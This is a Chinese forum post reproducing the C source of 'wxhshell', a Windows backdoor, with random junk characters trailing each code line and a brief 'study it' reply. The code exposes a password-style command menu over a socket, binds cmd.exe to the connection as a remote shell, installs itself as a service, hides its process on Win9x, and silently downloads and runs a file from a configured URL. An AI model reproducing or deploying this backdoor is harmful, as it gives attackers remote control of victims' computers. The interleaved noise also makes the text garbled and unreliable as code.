  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \hJLa  
  } ~ LH).\V  
  else { V(G{_>>  
[CnoMN  
    switch(cmd[0]) { } BP.t$_  
  r*7J#M /  
  // 帮助 jJ>I*'w  
  case '?': { NR^Z#BU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &sq q+&ao  
    break; c:DV8'fT  
  } <95*z @  
  // 安装 ?r0>HvUf!l  
  case 'i': { Vg7+G( ,  
    if(Install()) AWZ4h,as{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~@^pX*%i  
    else OoOwEV2p_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <SRSJJR|(  
    break; Ze`ms96j{  
    } pfk)_;>,  
  // 卸载 k DKfJp&a  
  case 'r': { s 4 Uk5<  
    if(Uninstall()) Si;eBPFH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kKQD$g.z6  
    else %e: hVU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l) Cg?9  
    break; f+Bv8 g  
    } N[=R$1\Z  
  // 显示 wxhshell 所在路径 o`jVd,aj  
  case 'p': { n%dh|j2u  
    char svExeFile[MAX_PATH]; *xKY>E+  
    strcpy(svExeFile,"\n\r"); f <DqA/$  
      strcat(svExeFile,ExeFile); :JxuaM8  
        send(wsh,svExeFile,strlen(svExeFile),0); 5X`m.lhUc  
    break; cT JG1'm  
    } ^O5PcV3Eg  
  // 重启 EU7mP MxJ  
  case 'b': { r-}C !aF]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }8'bXG+  
    if(Boot(REBOOT)) i/DUB<>p6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \T!tUd  
    else { $8_b[~%2  
    closesocket(wsh); dqL)q3  
    ExitThread(0); i;<H^\%  
    } )J|~'{z:  
    break; J16(d+  
    } @}e5T/{X}T  
  // 关机 5,V3_p:)VI  
  case 'd': { z!9w Lo^r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Gy[m4n~Z5  
    if(Boot(SHUTDOWN)) (d5kD#.N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7OZjLD{ID  
    else { \H?r[]*c%  
    closesocket(wsh); gM#]o QOGE  
    ExitThread(0); X pf:I  
    } X04JQLhy"  
    break; o7@81QA!e  
    } yFqB2(Dv  
  // 获取shell GA)t!Xg^  
  case 's': { p?sC</R  
    CmdShell(wsh); ]OA8H[U-eA  
    closesocket(wsh); [RUYH5>Ik  
    ExitThread(0); U{.yX7  
    break; |NWo.j>4-  
  } 7pz #%Hf  
  // 退出 sZPA(N?  
  case 'x': { h-:te9p6>4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5F|oNI}$:  
    CloseIt(wsh); 6M_,4> -  
    break; k| ,F/:  
    } #ANbhHG  
  // 离开 +dSO?Y]  
  case 'q': { Xkb\fR6<K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O9[Dae{i  
    closesocket(wsh); ZC:7N{a  
    WSACleanup(); ;bt%TxuKb  
    exit(1); 0)-yLfTn  
    break; z0-`D.D@\  
        } s(Llz]E~ZX  
  } io(Rb\#"  
  } /aD3E"Op  
9TbRrS09  
  // 提示信息 *5|q_K Pt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <%]i7&8|  
} jAb R[QR1%  
  } S6Fn(%T+9  
uz;z+Bd^  
  return; <2{-ey]  
} OB5`a,5dI  
> hmBV7nR  
// shell模块句柄 \$[S=&E  
int CmdShell(SOCKET sock) S+&Bf ~~D  
{ "_T8Km008  
STARTUPINFO si; 5ki<1{aVtZ  
ZeroMemory(&si,sizeof(si)); P+nd?:cz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [oh0 )wzB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E#m|Sq  
PROCESS_INFORMATION ProcessInfo; RW04>oxVn  
char cmdline[]="cmd"; aoVfvz2Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?#P@N4Uw}y  
  return 0; {]6Pd`-  
} _B5v&# h(.  
u =%1%p,  
// 自身启动模式 },LO]N|  
int StartFromService(void) f/NfvLi(AU  
{ i@p0Jnh|  
typedef struct Dm 0Ts~  
{ +:?"P<'  
  DWORD ExitStatus; }grel5lq  
  DWORD PebBaseAddress; y)e8pPDG  
  DWORD AffinityMask; ]3iQpL  
  DWORD BasePriority; i917d@r(<  
  ULONG UniqueProcessId; zBTyRL l  
  ULONG InheritedFromUniqueProcessId; I[v6Y^{q  
}   PROCESS_BASIC_INFORMATION; %^CoWbU  
-'mTSJ.}  
PROCNTQSIP NtQueryInformationProcess; vhOX1'  
K/Qo~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9d_ Zdc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f,}9~r #  
rsgTd\b  
  HANDLE             hProcess; 8\/$cP"<^  
  PROCESS_BASIC_INFORMATION pbi; %DR8M\d1~H  
FH}2wO~_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J-wF2*0r<  
  if(NULL == hInst ) return 0; sbi+o,%1  
u#"L gG.X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &nyJ :?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9#X"m,SB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7 I`8r2H  
Yy 3g7!K5E  
  if (!NtQueryInformationProcess) return 0; yhSbX4Q  
[Y_CRxa\u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hiQ #<  
  if(!hProcess) return 0; qzt.k^'-^  
T>2_r6;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `8sC>)lrwu  
]d]rV `RF  
  CloseHandle(hProcess); 3q*p#l~  
Uop`)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sOUQd-!"  
if(hProcess==NULL) return 0; nWz7$O  
;S.o` z1GI  
HMODULE hMod; k zuI<DW  
char procName[255]; .ZK^kcyA  
unsigned long cbNeeded; /\0g)B;]  
}lP'bu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); he\ pW5p  
LX2Re ]&  
  CloseHandle(hProcess); dFVx*{6  
%ot4$ eY  
if(strstr(procName,"services")) return 1; // 以服务启动 JRYCM}C]  
Yfd0Np~  
  return 0; // 注册表启动 *H({q`j33k  
} <*F!A' w2o  
-b`O"Ck*  
// 主模块 d,d ohi  
int StartWxhshell(LPSTR lpCmdLine) {|D7H=f  
{ 8%Eau wAx  
  SOCKET wsl; ]u<8j r  
BOOL val=TRUE; )~[rb<:)b  
  int port=0; x>TIQU=\  
  struct sockaddr_in door; cWS 0B $$  
`+0K~k|DC  
  if(wscfg.ws_autoins) Install(); la}Xo0nq0+  
BDiN*.w5  
port=atoi(lpCmdLine); ^Ez`WP  
!/RL.`!>  
if(port<=0) port=wscfg.ws_port; `ZhS=ezgr  
aF]cEe  
  WSADATA data; k(23Zt]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &6q67  
Rw!wfh_+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I92orr1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &cHA xker  
  door.sin_family = AF_INET; F+ Q(^Nk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UrJrv x  
  door.sin_port = htons(port); dp DPSI  
uoi~JF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { * ,#SwZ  
closesocket(wsl); 5BRZpCb  
return 1; ' |Ia-RbX  
} e` {F7rd:  
'M!*Ge  
  if(listen(wsl,2) == INVALID_SOCKET) { ;@$v_i   
closesocket(wsl); GA+#'R  
return 1; _A]=45cn~  
} s9F{UN3  
  Wxhshell(wsl); k!)Pl,nJ  
  WSACleanup(); 'D&[Y)f^  
|B~^7RHXo  
return 0; |$+ xVi8  
1}ER+;If  
} PDNbhUAV  
G{]tB w  
// 以NT服务方式启动 >1S39n5z.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U]}f]GK  
{ >#[,OU}N  
DWORD   status = 0; NSkIzaNY  
  DWORD   specificError = 0xfffffff; uG,*m'x']  
y1OpZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _?rL7oTv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nv'YtmR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q)Qg'l^f  
  serviceStatus.dwWin32ExitCode     = 0; B`mTp01  
  serviceStatus.dwServiceSpecificExitCode = 0; 8'|_O  
  serviceStatus.dwCheckPoint       = 0; q>f|1Pf  
  serviceStatus.dwWaitHint       = 0; fq4[/%6,O  
h;DLD8L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HVH<S  
  if (hServiceStatusHandle==0) return; 7v]9) W=y  
8d1r#sILI  
status = GetLastError(); , G9{:  
  if (status!=NO_ERROR) >e M> Y@8=  
{ N.F //n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]o2jS D  
    serviceStatus.dwCheckPoint       = 0; 5-2#H?:U  
    serviceStatus.dwWaitHint       = 0; w 21g&  
    serviceStatus.dwWin32ExitCode     = status; x.kIzI5  
    serviceStatus.dwServiceSpecificExitCode = specificError; PQvpJFpb~h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JxmFUheLt  
    return; "(+p1  
  } |] cFsB#G  
D*}_L   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m TgsvC  
  serviceStatus.dwCheckPoint       = 0; QA=mD^A  
  serviceStatus.dwWaitHint       = 0; GD@|X wK){  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RG e2N |  
} T%O2=h\} E  
fV o7wp  
// 处理NT服务事件,比如:启动、停止 bvF-F$n%F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u#)ARCx,w  
{ 6Ij'z9nJw  
switch(fdwControl) AR3v,eOs  
{ w42=tN+ B  
case SERVICE_CONTROL_STOP: I4(z'C  
  serviceStatus.dwWin32ExitCode = 0; EZJ[+ -Q;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O)%s_/UX  
  serviceStatus.dwCheckPoint   = 0; =O?? W8u  
  serviceStatus.dwWaitHint     = 0; X[J?  
  { vM?jm! nd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "1z#6vw5a  
  } lQKq{WLFx.  
  return; pE381Cw  
case SERVICE_CONTROL_PAUSE: ?.Lq`~T`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sh)[|?7z  
  break; k] iyx  
case SERVICE_CONTROL_CONTINUE: ^,{ r[}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3A!Qu$r9  
  break; TrR=3_;.7  
case SERVICE_CONTROL_INTERROGATE: cm17hPe`}n  
  break; e N^6gub  
}; ;5&=I|xqe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S+7u,%n/  
} Z3O_K  
@TvDxY1)6Z  
// 标准应用程序主函数 i% n9RuULh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |31/*J!@z*  
{ W0k7(v)  
m8<.TCIQ  
// 获取操作系统版本 %`\=qSf*  
OsIsNt=GetOsVer(); cP^c}e*;NS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W *~[KdgC  
o2R&s@%0@B  
  // 从命令行安装 bj ,cU)t0  
  if(strpbrk(lpCmdLine,"iI")) Install(); -9; XNp  
bBY7^k  
  // 下载执行文件 Aa}Nr5{O|  
if(wscfg.ws_downexe) { 2Dw}o;1'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X}ft7;Jpy  
  WinExec(wscfg.ws_filenam,SW_HIDE); h@jk3J9^  
} j^m x,  
N?v}\P U  
if(!OsIsNt) { )7  M  
// 如果时win9x,隐藏进程并且设置为注册表启动 tQ,3nI!|xF  
HideProc(); gt\*9P   
StartWxhshell(lpCmdLine); tvcM< e20  
} D]?yGI_  
else mGh8/Xt  
  if(StartFromService()) V6kJoSyde  
  // 以服务方式启动 I78Q8W(5  
  StartServiceCtrlDispatcher(DispatchTable); 1otE:bi  
else UId?a} J  
  // 普通方式启动 JYrOE "!h  
  StartWxhshell(lpCmdLine); HQGH7<=Om  
TT^L) d  
return 0; KJi8LM  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八